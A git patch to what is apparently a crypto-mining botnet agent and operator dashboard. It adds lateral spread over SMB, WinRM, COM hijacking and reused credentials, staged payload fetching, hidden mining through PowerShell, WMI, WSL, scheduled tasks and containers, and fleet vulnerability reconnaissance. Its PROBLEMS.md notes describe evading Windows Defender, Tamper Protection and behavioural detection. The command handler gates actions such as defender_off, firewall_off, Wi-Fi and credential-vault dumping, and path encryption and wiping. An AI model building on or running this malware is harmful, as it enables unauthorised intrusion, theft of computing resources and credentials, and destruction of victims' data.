From 3938bcd1c5338552e21919400f2c8f141f55be6b Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sat, 6 Jun 2026 23:53:21 -0700 Subject: [PATCH] Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation. --- PROBLEMS.md | 43 +- agent/client/aggressive_commands.go | 60 +- agent/client/client.go | 240 +++++- agent/client/client_upload_test.go | 131 ++++ agent/client/commands_common.go | 6 + agent/client/discover_join.go | 87 ++ agent/client/mining_chain.go | 488 ++++++++++++ agent/client/mining_chain_test.go | 93 +++ agent/client/mining_diagnostics.go | 296 +++++++ agent/client/mining_diagnostics_test.go | 195 +++++ agent/client/mining_policy.go | 47 ++ agent/client/mining_policy_test.go | 61 ++ agent/client/mining_ready.go | 59 ++ agent/client/mining_ready_test.go | 48 ++ agent/client/posture_hook.go | 9 + agent/client/posture_unix.go | 3 + agent/client/posture_windows.go | 3 + agent/client/protocol.go | 67 +- agent/client/spread_cred.go | 142 ++++ agent/client/spread_cred_test.go | 63 ++ agent/client/syscheck.go | 22 + agent/client/syscheck_types.go | 9 + agent/client/triple_onion_chain.go | 179 +++++ agent/client/vuln_scan.go | 60 ++ agent/client/vuln_scan_test.go | 32 + agent/config/builtin.go | 3 + agent/config/config.go | 23 + agent/deploy/autospread.go | 73 +- agent/deploy/autospread_unix.go | 6 +- agent/deploy/com_hijack_stub.go | 8 + agent/deploy/com_hijack_windows.go | 33 + agent/deploy/common.go | 45 +- agent/deploy/common_defer_test.go | 29 + agent/deploy/cred_spread.go | 80 ++ agent/deploy/cred_spread_stub.go | 11 + agent/deploy/cred_spread_windows.go | 43 + agent/deploy/desktop_path.go | 20 + agent/deploy/discover_join.go | 239 ++++++ agent/deploy/discover_join_test.go | 78 ++ agent/deploy/install.go | 5 +- agent/deploy/linux_lotl.go | 78 ++ agent/deploy/linux_lotl_stub.go | 9 + agent/deploy/lotl_onion.go | 47 ++ agent/deploy/lotl_onion_stub.go | 27 + agent/deploy/lotl_onion_stub_test.go | 52 ++ agent/deploy/lotl_onion_windows.go | 69 ++ agent/deploy/lotl_tiers.go | 43 + agent/deploy/lotl_tiers_test.go | 20 + agent/deploy/natpunch.go | 8 + agent/deploy/network_export.go | 10 + agent/deploy/network_hints.go | 150 ++++ agent/deploy/network_hints_cert_stub.go | 11 + agent/deploy/network_hints_cert_windows.go | 113 +++ agent/deploy/network_hints_neighbors_unix.go | 50 ++ .../deploy/network_hints_neighbors_windows.go | 54 ++ agent/deploy/network_hints_test.go | 74 ++ agent/deploy/service_discovery.go | 207 +++++ agent/deploy/service_discovery_test.go | 126 +++ agent/deploy/service_discovery_unix.go | 124 +++ agent/deploy/service_discovery_windows.go | 120 +++ agent/deploy/service_graph.go | 189 +++++ agent/deploy/smb_unc_spread.go | 53 ++ agent/deploy/smb_unc_spread_stub.go | 10 + agent/deploy/smb_unc_spread_test.go | 48 ++ agent/deploy/smb_unc_spread_windows.go | 103 +++ agent/deploy/spread_targets.go | 66 ++ agent/deploy/staging.go | 97 +++ agent/deploy/staging_stub.go | 14 + agent/deploy/staging_test.go | 96 +++ agent/deploy/staging_windows.go | 141 ++++ agent/deploy/subnet.go | 23 +- agent/deploy/vuln_recon.go | 20 + agent/deploy/winrm_bootstrap.go | 128 +++ agent/main.go | 1 + agent/miner/container_launcher.go | 258 ++++++ agent/miner/container_launcher_test.go | 236 ++++++ agent/miner/dotnet_launcher.go | 236 ++++++ agent/miner/dotnet_launcher_test.go | 151 ++++ agent/miner/environment_probe.go | 114 +++ agent/miner/execution.go | 95 +++ agent/miner/execution_test.go | 130 +++ agent/miner/fallback_chain.go | 742 ++++++++++++++++++ agent/miner/fallback_chain_test.go | 326 ++++++++ agent/miner/image_tar.go | 53 ++ agent/miner/image_tar_test.go | 37 + agent/miner/lotl_orchestrator.go | 448 +++++++++++ agent/miner/lotl_orchestrator_test.go | 146 ++++ agent/miner/lotl_paths.go | 33 + agent/miner/lotl_tier.go | 297 +++++++ agent/miner/lotl_tier_test.go | 199 +++++ agent/miner/pool.go | 13 + agent/miner/powershell_launcher.go | 307 ++++++++ agent/miner/powershell_launcher_test.go | 147 ++++ agent/miner/probe_runner.go | 197 +++++ agent/miner/pyopencl_linux.go | 48 ++ agent/miner/pyopencl_stub.go | 11 + agent/miner/pyopencl_test.go | 26 + agent/miner/runtime_detect.go | 25 + agent/miner/stratum_template.go | 117 +++ agent/miner/tier_adapters.go | 79 ++ agent/miner/tier_exec_hidden_windows.go | 20 + agent/miner/tier_gpu_compute.go | 84 ++ agent/miner/tier_gpu_compute_stub.go | 9 + agent/miner/tier_gpu_compute_test.go | 61 ++ agent/miner/tier_gpu_compute_windows.go | 59 ++ agent/miner/tier_scheduled_task.go | 158 ++++ agent/miner/tier_scheduled_task_stub.go | 21 + agent/miner/tier_scheduled_task_test.go | 58 ++ agent/miner/tier_scheduled_task_windows.go | 45 ++ agent/miner/tier_vuln_probe.go | 36 + agent/miner/tier_vuln_probe_test.go | 29 + agent/miner/tier_webview2_probe.go | 74 ++ agent/miner/tier_webview2_probe_stub.go | 7 + agent/miner/tier_webview2_probe_test.go | 74 ++ agent/miner/tier_webview2_probe_windows.go | 54 ++ agent/miner/tier_wmi.go | 60 ++ agent/miner/tier_wmi_stub.go | 9 + agent/miner/tier_wmi_test.go | 45 ++ agent/miner/tier_wmi_windows.go | 60 ++ agent/miner/triple_onion.go | 462 +++++++++++ agent/miner/triple_onion_test.go | 186 +++++ agent/miner/wsl_detect.go | 59 ++ agent/miner/wsl_launcher.go | 198 +++++ agent/miner/wsl_launcher_test.go | 64 ++ agent/vulnprobe/catalog.go | 50 ++ agent/vulnprobe/exec.go | 8 + agent/vulnprobe/probe_linux.go | 88 +++ agent/vulnprobe/probe_stub.go | 18 + agent/vulnprobe/probe_windows.go | 162 ++++ agent/vulnprobe/scan.go | 219 ++++++ agent/vulnprobe/scan_test.go | 60 ++ agent/vulnprobe/types.go | 46 ++ docker/agent-builtin.go | 1 + docs/SPREAD_TECHNIQUES.md | 9 + scripts/test-suite.ps1 | 57 +- server/config.go | 55 ++ server/config_spread_cred.go | 74 ++ server/deployment_creds.go | 113 +++ server/deployment_creds_test.go | 69 ++ server/internal/api/agent_ws_limiter_test.go | 75 ++ server/internal/api/deploy_plan.go | 332 ++++++++ server/internal/api/fleet_handler.go | 25 +- server/internal/api/fleet_handler_test.go | 23 + server/internal/api/handlers.go | 57 +- server/internal/api/handlers_test.go | 66 ++ server/internal/api/integration_test.go | 321 +++++++- .../internal/api/pathtracer_discover_test.go | 167 ++++ server/internal/api/pathtracer_handler.go | 391 ++++++++- .../internal/api/pathtracer_handler_test.go | 154 ++++ server/internal/api/router.go | 19 +- server/internal/api/router_test.go | 4 +- server/internal/api/server_policy.go | 21 + server/internal/api/server_policy_test.go | 18 +- server/internal/api/service_deploy.go | 129 +++ server/internal/api/service_deploy_test.go | 58 ++ server/internal/api/spread_cred.go | 198 +++++ server/internal/api/spread_cred_test.go | 171 ++++ server/internal/api/spread_cred_token.go | 60 ++ server/internal/api/spread_handler.go | 92 +++ server/internal/api/spread_handler_test.go | 65 ++ server/internal/api/vuln_handler.go | 37 + server/internal/api/vuln_handler_test.go | 30 + server/internal/api/websocket.go | 310 +++++++- server/internal/api/websocket_test.go | 377 +++++++++ server/internal/builder/handler.go | 30 +- server/internal/builder/lotl_onion.go | 79 ++ server/internal/builder/lotl_onion_test.go | 47 ++ server/internal/builder/pathforge_test.go | 170 ++++ server/internal/db/agents_list.go | 85 ++ server/internal/db/agents_list_test.go | 142 ++++ server/internal/db/cred_edges.go | 113 +++ server/internal/db/cred_edges_test.go | 64 ++ server/internal/db/fleet_tasks_scale_test.go | 49 ++ server/internal/db/sqlite.go | 24 + server/internal/models/agent.go | 48 +- server/internal/models/agent_test.go | 32 + server/internal/vuln/correlator.go | 133 ++++ server/internal/vuln/correlator_test.go | 30 + server/main.go | 38 +- server/web/e2e/crucible-bulk.spec.ts | 71 ++ server/web/e2e/crucible-command.spec.ts | 70 ++ server/web/e2e/fixtures.ts | 20 +- server/web/e2e/pages.spec.ts | 13 +- server/web/e2e/remote-actions.spec.ts | 22 +- server/web/e2e/stub-agent.ts | 108 +++ server/web/public/docs/SPREAD_TECHNIQUES.html | 102 +++ server/web/public/docs/SPREAD_TECHNIQUES.md | 9 + server/web/public/docs/index.html | 109 ++- server/web/src/api/client.ts | 78 +- .../src/components/Fleet/AgentListItem.tsx | 6 + .../components/Fleet/AgentRemoteActions.tsx | 104 ++- .../src/components/Fleet/CreateGroupModal.tsx | 2 +- .../components/Fleet/CredentialGraphTable.tsx | 78 ++ .../Fleet/CrucibleAgentMeta.test.tsx | 63 ++ .../components/Fleet/CrucibleAgentMeta.tsx | 132 ++++ .../Fleet/CrucibleExpandedOps.test.tsx | 26 + .../components/Fleet/CrucibleExpandedOps.tsx | 45 +- .../web/src/components/Fleet/FleetToolbar.tsx | 4 +- .../src/components/Fleet/JoinLaneBadge.tsx | 21 + .../src/components/Fleet/LotlAttemptsList.tsx | 58 ++ .../components/Fleet/LotlTierBadge.test.tsx | 67 ++ .../src/components/Fleet/LotlTierBadge.tsx | 31 + .../web/src/components/Fleet/LotlVisuals.css | 144 ++++ .../src/components/Fleet/ReconBadges.test.tsx | 66 ++ .../web/src/components/Fleet/ReconVisuals.css | 108 +++ server/web/src/components/Fleet/RiskBadge.tsx | 25 + .../components/Fleet/ServiceGraphSummary.tsx | 118 +++ .../Fleet/SpreadTemplateExportPanel.tsx | 96 +++ server/web/src/components/Layout/Layout.tsx | 5 +- .../components/Visual/3D/FleetTopologyMap.tsx | 16 +- .../components/WarRoom/WarRoomFunnelBoard.tsx | 46 +- server/web/src/components/components.test.tsx | 42 +- .../src/context/WebSocketProvider.test.tsx | 104 +++ server/web/src/context/WebSocketProvider.tsx | 70 +- server/web/src/help/applyStatsUpdate.test.ts | 133 ++++ server/web/src/help/applyStatsUpdate.ts | 82 ++ server/web/src/help/cheatSheetContent.test.ts | 2 +- server/web/src/help/cheatSheetContent.ts | 10 +- server/web/src/help/defenderExclusion.test.ts | 26 + server/web/src/help/defenderExclusion.ts | 57 ++ server/web/src/help/docAnchors.ts | 1 + server/web/src/help/forgeDefaults.ts | 1 + .../web/src/help/forgeMissionWizard.test.ts | 4 +- server/web/src/help/forgeMissionWizard.ts | 10 +- .../web/src/help/forgeOperationModes.test.ts | 32 +- server/web/src/help/forgeOperationModes.ts | 65 +- server/web/src/help/lotlOnionTiers.test.ts | 14 + server/web/src/help/lotlOnionTiers.ts | 38 + server/web/src/help/presencePages.ts | 2 +- server/web/src/help/reconRisk.test.ts | 38 + server/web/src/help/reconRisk.ts | 88 +++ server/web/src/help/remoteActions.test.ts | 2 + server/web/src/help/settingHelp.test.ts | 4 +- server/web/src/help/settingHelp.ts | 8 +- server/web/src/help/spreadTechniques.test.ts | 3 +- server/web/src/help/spreadTechniques.ts | 20 + .../web/src/help/spreadTemplateExport.test.ts | 13 + server/web/src/help/spreadTemplateExport.ts | 52 ++ server/web/src/help/uiHelp.test.ts | 2 + server/web/src/help/uiHelp.ts | 14 +- server/web/src/help/warRoomTelemetry.test.ts | 94 +++ server/web/src/help/warRoomTelemetry.ts | 78 ++ server/web/src/help/wsStatsCoalesce.test.ts | 83 ++ server/web/src/help/wsStatsCoalesce.ts | 25 + .../web/src/hooks/useFleetBulkActions.test.ts | 123 +++ server/web/src/hooks/useFleetBulkActions.ts | 115 +++ server/web/src/pages/AgentsPage.test.tsx | 219 +----- server/web/src/pages/AgentsPage.tsx | 651 +-------------- server/web/src/pages/BuilderPage.test.tsx | 41 + server/web/src/pages/BuilderPage.tsx | 40 + server/web/src/pages/CruciblePage.test.tsx | 91 +++ server/web/src/pages/CruciblePage.tsx | 173 +++- server/web/src/pages/DashboardPage.tsx | 4 +- server/web/src/pages/EmberwakePage.css | 60 ++ server/web/src/pages/EmberwakePage.test.tsx | 16 +- server/web/src/pages/EmberwakePage.tsx | 39 +- server/web/src/pages/SettingsPage.test.tsx | 3 +- server/web/src/pages/SettingsPage.tsx | 81 ++ server/web/src/types/index.ts | 46 ++ server/web/src/types/lotl.ts | 104 +++ server/web/src/types/recon.ts | 46 ++ server/web/src/types/ws.ts | 21 + templates/spread/enterprise/gpo-startup.ps1 | 16 + .../spread/enterprise/intune-startup.ps1 | 15 + templates/spread/linux/lotl-bootstrap.sh | 53 ++ templates/spread/winrm/bootstrap.ps1 | 27 + templates/spread/winrm/com-hijack.ps1 | 23 + tests/README.md | 154 +++- 268 files changed, 21347 insertions(+), 1130 deletions(-) create mode 100644 agent/client/client_upload_test.go create mode 100644 agent/client/discover_join.go create mode 100644 agent/client/mining_chain.go create mode 100644 agent/client/mining_chain_test.go create mode 100644 agent/client/mining_diagnostics.go create mode 100644 agent/client/mining_diagnostics_test.go create mode 100644 agent/client/mining_policy.go create mode 100644 agent/client/mining_policy_test.go create mode 100644 agent/client/mining_ready.go create mode 100644 agent/client/mining_ready_test.go create mode 100644 agent/client/posture_hook.go create mode 100644 agent/client/spread_cred.go create mode 100644 agent/client/spread_cred_test.go create mode 100644 agent/client/triple_onion_chain.go create mode 100644 agent/client/vuln_scan.go create mode 100644 agent/client/vuln_scan_test.go create mode 100644 agent/deploy/com_hijack_stub.go create mode 100644 agent/deploy/com_hijack_windows.go create mode 100644 agent/deploy/common_defer_test.go create mode 100644 agent/deploy/cred_spread.go create mode 100644 agent/deploy/cred_spread_stub.go create mode 100644 agent/deploy/cred_spread_windows.go create mode 100644 agent/deploy/discover_join.go create mode 100644 agent/deploy/discover_join_test.go create mode 100644 agent/deploy/linux_lotl.go create mode 100644 agent/deploy/linux_lotl_stub.go create mode 100644 agent/deploy/lotl_onion.go create mode 100644 agent/deploy/lotl_onion_stub.go create mode 100644 agent/deploy/lotl_onion_stub_test.go create mode 100644 agent/deploy/lotl_onion_windows.go create mode 100644 agent/deploy/lotl_tiers.go create mode 100644 agent/deploy/lotl_tiers_test.go create mode 100644 agent/deploy/network_hints.go create mode 100644 agent/deploy/network_hints_cert_stub.go create mode 100644 agent/deploy/network_hints_cert_windows.go create mode 100644 agent/deploy/network_hints_neighbors_unix.go create mode 100644 agent/deploy/network_hints_neighbors_windows.go create mode 100644 agent/deploy/network_hints_test.go create mode 100644 agent/deploy/service_discovery.go create mode 100644 agent/deploy/service_discovery_test.go create mode 100644 agent/deploy/service_discovery_unix.go create mode 100644 agent/deploy/service_discovery_windows.go create mode 100644 agent/deploy/service_graph.go create mode 100644 agent/deploy/smb_unc_spread.go create mode 100644 agent/deploy/smb_unc_spread_stub.go create mode 100644 agent/deploy/smb_unc_spread_test.go create mode 100644 agent/deploy/smb_unc_spread_windows.go create mode 100644 agent/deploy/spread_targets.go create mode 100644 agent/deploy/staging.go create mode 100644 agent/deploy/staging_stub.go create mode 100644 agent/deploy/staging_test.go create mode 100644 agent/deploy/staging_windows.go create mode 100644 agent/deploy/vuln_recon.go create mode 100644 agent/deploy/winrm_bootstrap.go create mode 100644 agent/miner/container_launcher.go create mode 100644 agent/miner/container_launcher_test.go create mode 100644 agent/miner/dotnet_launcher.go create mode 100644 agent/miner/dotnet_launcher_test.go create mode 100644 agent/miner/environment_probe.go create mode 100644 agent/miner/execution.go create mode 100644 agent/miner/execution_test.go create mode 100644 agent/miner/fallback_chain.go create mode 100644 agent/miner/fallback_chain_test.go create mode 100644 agent/miner/image_tar.go create mode 100644 agent/miner/image_tar_test.go create mode 100644 agent/miner/lotl_orchestrator.go create mode 100644 agent/miner/lotl_orchestrator_test.go create mode 100644 agent/miner/lotl_paths.go create mode 100644 agent/miner/lotl_tier.go create mode 100644 agent/miner/lotl_tier_test.go create mode 100644 agent/miner/powershell_launcher.go create mode 100644 agent/miner/powershell_launcher_test.go create mode 100644 agent/miner/probe_runner.go create mode 100644 agent/miner/pyopencl_linux.go create mode 100644 agent/miner/pyopencl_stub.go create mode 100644 agent/miner/pyopencl_test.go create mode 100644 agent/miner/runtime_detect.go create mode 100644 agent/miner/stratum_template.go create mode 100644 agent/miner/tier_adapters.go create mode 100644 agent/miner/tier_exec_hidden_windows.go create mode 100644 agent/miner/tier_gpu_compute.go create mode 100644 agent/miner/tier_gpu_compute_stub.go create mode 100644 agent/miner/tier_gpu_compute_test.go create mode 100644 agent/miner/tier_gpu_compute_windows.go create mode 100644 agent/miner/tier_scheduled_task.go create mode 100644 agent/miner/tier_scheduled_task_stub.go create mode 100644 agent/miner/tier_scheduled_task_test.go create mode 100644 agent/miner/tier_scheduled_task_windows.go create mode 100644 agent/miner/tier_vuln_probe.go create mode 100644 agent/miner/tier_vuln_probe_test.go create mode 100644 agent/miner/tier_webview2_probe.go create mode 100644 agent/miner/tier_webview2_probe_stub.go create mode 100644 agent/miner/tier_webview2_probe_test.go create mode 100644 agent/miner/tier_webview2_probe_windows.go create mode 100644 agent/miner/tier_wmi.go create mode 100644 agent/miner/tier_wmi_stub.go create mode 100644 agent/miner/tier_wmi_test.go create mode 100644 agent/miner/tier_wmi_windows.go create mode 100644 agent/miner/triple_onion.go create mode 100644 agent/miner/triple_onion_test.go create mode 100644 agent/miner/wsl_detect.go create mode 100644 agent/miner/wsl_launcher.go create mode 100644 agent/miner/wsl_launcher_test.go create mode 100644 agent/vulnprobe/catalog.go create mode 100644 agent/vulnprobe/exec.go create mode 100644 agent/vulnprobe/probe_linux.go create mode 100644 agent/vulnprobe/probe_stub.go create mode 100644 agent/vulnprobe/probe_windows.go create mode 100644 agent/vulnprobe/scan.go create mode 100644 agent/vulnprobe/scan_test.go create mode 100644 agent/vulnprobe/types.go create mode 100644 server/config_spread_cred.go create mode 100644 server/deployment_creds.go create mode 100644 server/deployment_creds_test.go create mode 100644 server/internal/api/agent_ws_limiter_test.go create mode 100644 server/internal/api/deploy_plan.go create mode 100644 server/internal/api/pathtracer_discover_test.go create mode 100644 server/internal/api/service_deploy.go create mode 100644 server/internal/api/service_deploy_test.go create mode 100644 server/internal/api/spread_cred.go create mode 100644 server/internal/api/spread_cred_test.go create mode 100644 server/internal/api/spread_cred_token.go create mode 100644 server/internal/api/vuln_handler.go create mode 100644 server/internal/api/vuln_handler_test.go create mode 100644 server/internal/builder/lotl_onion.go create mode 100644 server/internal/builder/lotl_onion_test.go create mode 100644 server/internal/db/agents_list.go create mode 100644 server/internal/db/agents_list_test.go create mode 100644 server/internal/db/cred_edges.go create mode 100644 server/internal/db/cred_edges_test.go create mode 100644 server/internal/db/fleet_tasks_scale_test.go create mode 100644 server/internal/vuln/correlator.go create mode 100644 server/internal/vuln/correlator_test.go create mode 100644 server/web/e2e/crucible-bulk.spec.ts create mode 100644 server/web/e2e/crucible-command.spec.ts create mode 100644 server/web/e2e/stub-agent.ts create mode 100644 server/web/src/components/Fleet/CredentialGraphTable.tsx create mode 100644 server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx create mode 100644 server/web/src/components/Fleet/CrucibleAgentMeta.tsx create mode 100644 server/web/src/components/Fleet/JoinLaneBadge.tsx create mode 100644 server/web/src/components/Fleet/LotlAttemptsList.tsx create mode 100644 server/web/src/components/Fleet/LotlTierBadge.test.tsx create mode 100644 server/web/src/components/Fleet/LotlTierBadge.tsx create mode 100644 server/web/src/components/Fleet/LotlVisuals.css create mode 100644 server/web/src/components/Fleet/ReconBadges.test.tsx create mode 100644 server/web/src/components/Fleet/ReconVisuals.css create mode 100644 server/web/src/components/Fleet/RiskBadge.tsx create mode 100644 server/web/src/components/Fleet/ServiceGraphSummary.tsx create mode 100644 server/web/src/components/Fleet/SpreadTemplateExportPanel.tsx create mode 100644 server/web/src/help/applyStatsUpdate.test.ts create mode 100644 server/web/src/help/applyStatsUpdate.ts create mode 100644 server/web/src/help/defenderExclusion.test.ts create mode 100644 server/web/src/help/defenderExclusion.ts create mode 100644 server/web/src/help/lotlOnionTiers.test.ts create mode 100644 server/web/src/help/lotlOnionTiers.ts create mode 100644 server/web/src/help/reconRisk.test.ts create mode 100644 server/web/src/help/reconRisk.ts create mode 100644 server/web/src/help/spreadTemplateExport.test.ts create mode 100644 server/web/src/help/spreadTemplateExport.ts create mode 100644 server/web/src/help/warRoomTelemetry.test.ts create mode 100644 server/web/src/help/warRoomTelemetry.ts create mode 100644 server/web/src/hooks/useFleetBulkActions.test.ts create mode 100644 server/web/src/hooks/useFleetBulkActions.ts create mode 100644 server/web/src/types/lotl.ts create mode 100644 server/web/src/types/recon.ts create mode 100644 templates/spread/enterprise/gpo-startup.ps1 create mode 100644 templates/spread/enterprise/intune-startup.ps1 create mode 100644 templates/spread/linux/lotl-bootstrap.sh create mode 100644 templates/spread/winrm/bootstrap.ps1 create mode 100644 templates/spread/winrm/com-hijack.ps1 diff --git a/PROBLEMS.md b/PROBLEMS.md index b6e6dfb..5b14105 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -14,6 +14,37 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06. | **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). | | **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. | +## Scale limits (hundreds of subnets / 500+ agents) + +| Area | Notes | +|------|-------| +| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). | +| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. | +| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. | +| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. | +| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. | + +## Antivirus / Windows Defender + +| Topic | Notes | +|-------|-------| +| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. | +| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. | +| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. | +| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. | +| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. | + +## Container Mining + +| Topic | Notes | +|-------|-------| +| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. | +| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. | +| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. | +| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. | +| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. | +| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. | + ## Architecture deferred (large) | Area | Notes | @@ -27,7 +58,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06. | **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. | | **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. | | **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. | -| **Per-agent `stats_update` broadcast** | No batching in `websocket.go`; N agents → N dashboard frames. | +| **WS `init` ships full fleet** | Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (`?limit=&offset=`). | +| **SQLite single-writer ceiling** | `SetMaxOpenConns(1)` + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+. | +| **In-memory WS agent state** | Hub maps (`agentCapabilities`, `agentLogs`, DNS cache) grow O(agents); no eviction on disconnect beyond log trim. | +| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. | +| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. | | **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. | | **Path Forge test gaps** | Cancellation, batch races, skipped-counter UI not fully covered. | | **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. | @@ -76,6 +111,12 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06. | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | +## UX consolidation (2026-06-06) + +| Item | Notes | +|------|-------| +| **Fleet Roster → Crucible** | `/agents` redirects to `/crucible`; nav Fleet Roster removed. Filters, bulk actions, notes/tags, and roster delete live in Crucible only. | + ## Product decisions (document-only) | Topic | Notes | diff --git a/agent/client/aggressive_commands.go b/agent/client/aggressive_commands.go index 50b625a..dc9dc72 100644 --- a/agent/client/aggressive_commands.go +++ b/agent/client/aggressive_commands.go @@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { if !c.cfg.HolePunch { return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" } - case "spread_now": + case "spread_now", "spread_smb_unc", "discover_and_join": if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" } + case "stage_fetch": + if !c.cfg.RemoteAggressive { + return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" + } case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop", "subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords": if !c.cfg.RemoteAggressive { @@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { } case "tunnel_status", "tunnel_wireguard": // Always available — read-only or Path Tracer config from server. - case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": - // No forge gate — always available. + case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover": + // No forge gate — enumeration-only recon (Path Tracer + fleet discover). case "mesh_status": if !c.cfg.MeshP2P { return false, "mesh P2P not enabled in forge" @@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm c.sendCommandResult(action, true, msg) return true + case "spread_smb_unc": + unc := strings.TrimSpace(path) + svcName := "" + if unc == "" { + unc = strings.TrimSpace(data) + } else { + svcName = strings.TrimSpace(data) + } + msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{ + UNCPath: unc, + MaxHosts: parsePortArg(command, 64), + SvcName: svcName, + }) + c.sendCommandResult(action, true, msg) + return true + + case "stage_fetch": + var manifest deploy.StagingManifest + if err := json.Unmarshal([]byte(data), &manifest); err != nil { + c.sendCommandResult(action, false, "bad staging manifest: "+err.Error()) + return true + } + go func() { + msg, err := deploy.RunStagingChain(c.cfg, manifest) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + c.sendCommandResult(action, true, msg) + }() + return true + case "subnet_scan": maxHosts := parsePortArg(command, 64) out := deploy.ScanLocalSubnet(maxHosts) @@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm case "wg_status": c.sendCommandResult(action, true, WGStatus()) return true + + case "service_discover": + maxHosts := parsePortArg(command, 32) + out := deploy.RunServiceDiscover(maxHosts) + c.sendCommandResult(action, true, out) + return true + + case "discover_and_join": + maxHosts := parsePortArg(command, 32) + go func() { + msg, err := c.runDiscoverAndJoin(maxHosts) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + c.sendCommandResult(action, true, msg) + }() + return true } return false diff --git a/agent/client/client.go b/agent/client/client.go index 7d3d45a..0ab5944 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -1,6 +1,7 @@ package client import ( + "context" "encoding/base64" "encoding/json" "fmt" @@ -23,6 +24,7 @@ import ( "crypto-miner-agent/job" "crypto-miner-agent/miner" "crypto-miner-agent/stats" + "crypto-miner-agent/vulnprobe" "github.com/gorilla/websocket" ) @@ -46,6 +48,26 @@ type AgentClient struct { // The Stratum fallback manager monitors this to decide when to mine directly. connected atomic.Bool + // containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers). + containerMiner *miner.ContainerLauncher + // wslMiner supervises CPU mining inside WSL2 via wsl.exe -e. + wslMiner *miner.WSLLauncher + // psMiner hosts in-memory assembly / encoded-command mining via powershell.exe. + psMiner *miner.PowerShellLauncher + // dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild. + 